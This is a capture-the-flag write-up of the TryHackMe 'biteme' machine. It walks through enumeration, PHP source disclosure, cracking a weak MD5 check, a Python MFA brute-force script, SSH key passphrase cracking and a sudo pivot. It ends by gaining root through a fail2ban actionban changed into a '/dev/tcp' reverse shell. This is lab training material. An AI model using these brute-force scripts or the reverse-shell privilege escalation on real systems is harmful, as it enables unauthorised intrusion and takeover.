TryHackMe - biteme

Stay out of my server!

Start the machine and get the flags…

Title biteme
Difficulty Medium
Author fire015
Tags php, privesc, cracking, fail2ban

Enumeration

Nmap

┌──(kali㉿kali)-[~]
└─$ sudo nmap -p- --min-rate 5000 -Pn biteme.thm
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-10 10:01 EDT
Warning: 10.10.5.239 giving up on port because retransmission cap hit (10).
Nmap scan report for biteme.thm (10.10.5.239)
Host is up (0.39s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 37.31 seconds
┌──(kali㉿kali)-[~]
└─$ sudo nmap -sC -sV -A -Pn -p 22,80 biteme.thm
[sudo] password for kali:
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-10 10:02 EDT
Nmap scan report for biteme.thm (10.10.5.239)
Host is up (0.38s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 89:ec:67:1a:85:87:c6:f6:64:ad:a7:d1:9e:3a:11:94 (RSA)
|   256 7f:6b:3c:f8:21:50:d9:8b:52:04:34:a5:4d:03:3a:26 (ECDSA)
|_  256 c4:5b:e5:26:94:06:ee:76:21:75:27:bc:cd:ba:af:cc (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.29 (Ubuntu)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 5.4 (91%), Asus RT-N10 router or AXIS 211A Network Camera (Linux 2.6) (91%), Linux 2.6.18 (91%), AXIS 211A Network Camera (Linux 2.6.20) (91%), Linux 2.6.16 (91%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 22/tcp)
HOP RTT       ADDRESS
1   378.19 ms 10.9.0.1
2   378.31 ms biteme.thm (10.10.5.239)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 40.20 seconds

Dir Scan

┌──(kali㉿kali)-[~/Wordlists]
└─$ gobuster dir -w directory-list-2.3-medium.txt -t 40 --no-error -u http://biteme.thm/
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://biteme.thm/
[+] Method:                  GET
[+] Threads:                 40
[+] Wordlist:                directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/console              (Status: 301) [Size: 310] [--> http://biteme.thm/console/]

HTTP (port 80)

I follow the /console path and open it on web-browser, it navigates me to a login page within captcha validation:

Untitled

Exploit

Javascript Deobfuscation

Because of the captcha, it’s really hard to brute-force the login form to get the creds. Therefore, I check out the page source and get this function in the <script> tag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
function handleSubmit() {
eval(
(function (p, a, c, k, e, r) {
e = function (c) {
return c.toString(a);
};
if (!"".replace(/^/, String)) {
while (c--) r[e(c)] = k[c] || e(c);
k = [
function (e) {
return r[e];
},
];
e = function () {
return "\\w+";
};
c = 1;
}
while (c--)
if (k[c]) p = p.replace(new RegExp("\\b" + e(c) + "\\b", "g"), k[c]);
return p;
})(
"0.1('2').3='4';5.6('@7 8 9 a b c d e f g h i... j');",
20,
20,
"document|getElementById|clicked|value|yes|console|log|fred|I|turned|on|php|file|syntax|highlighting|for|you|to|review|jason".split(
"|"
),
0,
{}
)
);
return true;
}

Googling and recognize the format of this script is called Javascript Obfuscation, I then use the tool from de4js to deobfuscate:

1
2
3
4
5
6
7
function handleSubmit() {
document.getElementById("clicked").value = "yes";
console.log(
"@fred I turned on php file syntax highlighting for you to review... jason"
);
return true;
}

The message is talking about php file syntax highlighting, research this statement from php.net and this is the description:

Prints out or returns a syntax highlighted version of the code contained in filename using the colors defined in the built-in syntax highlighter for PHP.

Many servers are configured to automatically highlight files with a phps extension. For example, example.phps when viewed will show the syntax highlighted source of the file. To enable this, add this line to the httpd.conf:

Base on the given information, I modify the URL to append the 's' character following the .php extension:

http://biteme.thm/console/index.php -> http://biteme.thm/console/index.phps

And BUM! I got the source code:

Untitled

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
session_start();

include('functions.php');
include('securimage/securimage.php');

$showError = false;
$showCaptchaError = false;

if (isset($_POST['user']) && isset($_POST['pwd']) && isset($_POST['captcha_code']) && isset($_POST['clicked']) && $_POST['clicked'] === 'yes') {
    $image = new Securimage();

    if (!$image->check($_POST['captcha_code'])) {
        $showCaptchaError = true;
    } else {
        if (is_valid_user($_POST['user']) && is_valid_pwd($_POST['pwd'])) {
            setcookie('user', $_POST['user'], 0, '/');
            setcookie('pwd', $_POST['pwd'], 0, '/');
            header('Location: mfa.php');
            exit();
        } else {
            $showError = true;
        }
    }
}
?>

Beside of no creds found in the source code, I focus on the include() file which is functions.php. Using the same technique, I also retrieve the password validation technique:

Untitled

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
include('config.php');

function is_valid_user($user) {
    $user = bin2hex($user);

    return $user === LOGIN_USER;
}

// @fred let's talk about ways to make this more secure but still flexible
function is_valid_pwd($pwd) {
    $hash = md5($pwd);

    return substr($hash, -3) === '001';
}

Moreover, following the config.php, I also get the username encoded in hex:

Untitled

Decode it and easily know the username:

┌──(kali㉿kali)-[~/TryHackMe/biteme]
└─$ hURL --hex "6a61736f6e5f746573745f6163636f756e74"

Original HEX      :: 6a61736f6e5f746573745f6163636f756e74
ASCII/RAW DEcoded :: [REDACTED]

With the password, I write my own script in python to generate all the password from the rockyou.txt wordlist to md5 hash and compare the last 3 element with 001:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import hashlib

rockyou = open("rockyou.txt")

for passwd in rockyou:
    passwd = passwd.strip()
    md5_passwd = hashlib.md5(passwd.encode()).hexdigest()
    if (md5_passwd[-3:] == "001"):
        print(f"{passwd} -- {md5_passwd}")

rockyou = open("rockyou.txt")

for passwd in rockyou:
    passwd = passwd.strip()
    md5_passwd = hashlib.md5(passwd.encode()).hexdigest()
    if (md5_passwd[-3:] == "001"):
        print(f"{passwd} -- {md5_passwd}")

And there are bunch of options for me:

Untitled

Then I pick one of them and login. The application keeps bringing me to the next stage:

Untitled

Brute-force

Read the page source and deobfuscate the script, I get another message:

1
2
3
console.log(
"@fred we need to put some brute force protection on here, remind me in the morning... jason"
);

Now it’s time to use the brute-force technique! I input a random 4 digit code and submit it to get the error message. Then I inspect the Cookies and the Request values:

Untitled

I write down a simple python script to generate the 4-digit list:

1
2
3
4
5
6
7
8
9
10
11
12
mfa_arr = []

for num in range(10000):
    num = str(num)
    if len(num) == 4:
        mfa_arr.append(num)

mfa_codes = open("mfa_codes.txt", "w")
for i in mfa_arr:
    mfa_codes.write(i + "\n")

mfa_codes.close()

And then use another one to brute-force:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import requests

# Specify the target:

url = "http://biteme.thm/console/mfa.php"
cookies = {"PHPSESSID":"vhv3t7j6fuivi9253r7094oadn", "pwd":"[REDACTED]", "user":"[REDACTED]"}
data = {"code":"1234"}

# Set the false statement

error = "Incorrect code"

# Add the list of code number into array

codeLst = []
mfa_file = open("mfa_codes.txt","r")
codes = mfa_file.read()
codeLst = (codes.split("\n"))
codeLst.remove('') # Remove the empty element

for code in codeLst:
    data = {"code": code}
    response = requests.post(url,cookies=cookies,data=data)
    if not error in response.text:
        print(data)
        return

And this is my result:

┌──(kali㉿kali)-[~/TryHackMe/biteme]
└─$ python3 bf_mfa.py
{'code': '[REDACTED]'}

I submit this code on the application and route to the dashboard page:

Untitled

Get Access

And try to enter the current page dashboard.php into the File viewer section and retrieve the work-flow of this page:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
include('functions.php');

if (!isset($_COOKIE['user']) || !is_valid_user($_COOKIE['user']) || !isset($_COOKIE['pwd']) || !is_valid_pwd($_COOKIE['pwd']) || !isset($_COOKIE['code']) || strlen($_COOKIE['code']) !== 4) {
  header('Location: index.php');
  exit();
}

$browseOutput = '';
$viewOutput = '';

if (isset($_POST['browse'])) {
  $files = scandir($_POST['browse']);

  if ($files !== false) {
    $browseOutput = implode("\n", $files);
  }
}

if (isset($_POST['view'])) {
  $file = file_get_contents($_POST['view']);

  if ($file !== false) {
    $viewOutput = $file;
  }
}

?>

According to the above code, the File browser section uses the scandir() function to list all the files and directories of which I input, the another File view uses file_get_contents() to read the file’s content.

So I enumerate the /home directory first and inside the jason directory, I find out the user flag and also the .ssh directory which might contain the ssh key:

Untitled

I get the user flag first:

Untitled

Then I take the key and save it into my local machine:

Untitled

However, when I establish the ssh connection, the id_rsa key requires the passphrase for the key:

┌──(kali㉿kali)-[~/TryHackMe/biteme]
└─$ ssh jason@biteme.thm -i id_rsa
The authenticity of host 'biteme.thm (10.10.0.74)' can't be established.
ED25519 key fingerprint is SHA256:3NvL4FLmtivo46j76+yqa43LcYEB79JAUuXUAYQe/zI.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'biteme.thm' (ED25519) to the list of known hosts.
Enter passphrase for key 'id_rsa':

To solve this problem, I use ssh2john to generate the passphrase from the key into hash, and use john to crack the hash to plaintext”

┌──(kali㉿kali)-[~/TryHackMe/biteme]
└─$ ssh2john id_rsa > id_rsa_hash

┌──(kali㉿kali)-[~/TryHackMe/biteme]
└─$ john --wordlist=~/Wordlists/rockyou.txt id_rsa_hash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
[REDACTED]         (id_rsa)
1g 0:00:00:00 DONE (2023-10-15 22:55) 50.00g/s 251200p/s 251200c/s 251200C/s christina1..dumnezeu
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Now I get back and get access to the target machine as user jason:

┌──(kali㉿kali)-[~/TryHackMe/biteme]
└─$ ssh jason@biteme.thm -i id_rsa
Enter passphrase for key 'id_rsa':
Last login: Fri Mar  4 18:22:12 2022 from 10.0.2.2
jason@biteme:~$ id;pwd
uid=1000(jason) gid=1000(jason) groups=1000(jason),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev)
/home/jason

Horizontal Privilege Escalation

jason@biteme:~$ sudo -l
Matching Defaults entries for jason on biteme:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User jason may run the following commands on biteme:
    (ALL : ALL) ALL
    (fred) NOPASSWD: ALL

The output from the command sudo -l means:

  • (ALL : ALL) ALL: user jason can execute every commands as root but password of user jason is required
  • (fred) NOPASSWD: ALL: user jason can switch to user fred without password required

Because I do not have the jason’s password, I decide to become fred at first:

jason@biteme:~$ sudo -u fred /bin/bash -i
fred@biteme:~$

Vertical Privilege Escalation

I repeat the sudo -l command with user fred and now the output is different:

fred@biteme:~$ sudo -l
Matching Defaults entries for fred on biteme:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User fred may run the following commands on biteme:
    (root) NOPASSWD: /bin/systemctl restart fail2ban

The fail2ban is an intrusion software that have the ability to ban the IPs based on its configuration. The iptables-mutliport.conf contains the actionban which triggers ban on multiple login attempts.

First, I locate the fail2ban location and the configuration files inside:

fred@biteme:~$ whereis fail2ban
fail2ban: /etc/fail2ban /usr/share/man/man1/fail2ban.1.gz
fred@biteme:~$ ls -l /etc/fail2ban
total 64
drwxrwxrwx 2 root root  4096 Nov 13  2021 action.d
-rw-r--r-- 1 root root  2334 Jan 18  2018 fail2ban.conf
drwxr-xr-x 2 root root  4096 Apr  4  2018 fail2ban.d
drwxr-xr-x 3 root root  4096 Nov 13  2021 filter.d
-rw-r--r-- 1 root root 22897 Jan 18  2018 jail.conf
drwxr-xr-x 2 root root  4096 Nov 13  2021 jail.d
-rw-r--r-- 1 root root    99 Nov 13  2021 jail.local
-rw-r--r-- 1 root root   645 Jan 18  2018 paths-arch.conf
-rw-r--r-- 1 root root  2827 Jan 18  2018 paths-common.conf
-rw-r--r-- 1 root root   573 Jan 18  2018 paths-debian.conf
-rw-r--r-- 1 root root   738 Jan 18  2018 paths-opensuse.conf

Then I copy the iptables-multiport.conf to user fred’s directory to have the permission on modifying it:

fred@biteme:/etc/fail2ban$ cp action.d/iptables-multiport.conf /home/fred/
fred@biteme:/etc/fail2ban$ cd /home/fred/
fred@biteme:/home/fred$ ls -l
total 4
-rw-r--r-- 1 fred fred 1420 Oct 16 03:07 iptables-multiport.conf

Next, I comment the default actionban line and create my own one within reverse shell payload:

# Option:  actionban
# Notes.:  command executed when banning an IP. Take care that the
#          command is executed with Fail2Ban user rights.
# Tags:    See jail.conf(5) man page
# Values:  CMD
#
#actionban = <iptables> -I f2b-<name> 1 -s <ip> -j <blocktype>
actionban = bash -c 'bash -i >& /dev/tcp/10.9.63.75/4444 0>&1'

I copy the modified file back to its original location and replace the default one. Verify that my modification has been applied:

fred@biteme:/home/fred$ cp iptables-multiport.conf /etc/fail2ban/action.d/iptables-multiport.conf
fred@biteme:/home/fred$ cat /etc/fail2ban/action.d/iptables-multiport.conf  | grep "actionban"
# Notes.:  command executed once before each actionban command
# Option:  actionban
#actionban = <iptables> -I f2b-<name> 1 -s <ip> -j <blocktype>
actionban = bash -c 'bash -i >& /dev/tcp/10.9.63.75/4444 0>&1'

The final steps are:

  • restart the fail2ban service with sudo to apply the modified file into the host.
  • Start a listener on local machine
  • Perform ssh connection multiple times to the target but with fail condition (incorrect or blank password)
┌──(kali㉿kali)-[~]
└─$ ssh root@biteme.thm
root@biteme.thm's password:
Permission denied, please try again.
root@biteme.thm's password:
Permission denied, please try again.
root@biteme.thm's password:
root@biteme.thm: Permission denied (publickey,password).
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.9.63.75] from (UNKNOWN) [10.10.0.74] 34748
bash: cannot set terminal process group (2193): Inappropriate ioctl for device
bash: no job control in this shell
root@biteme:/# cd /root
cd /root
root@biteme:/root# ls -l
ls -l
total 4
-rw-r--r-- 1 root root 38 Sep 23  2021 root.txt
root@biteme:/root# cat root.txt
cat root.txt
THM{REDACTED}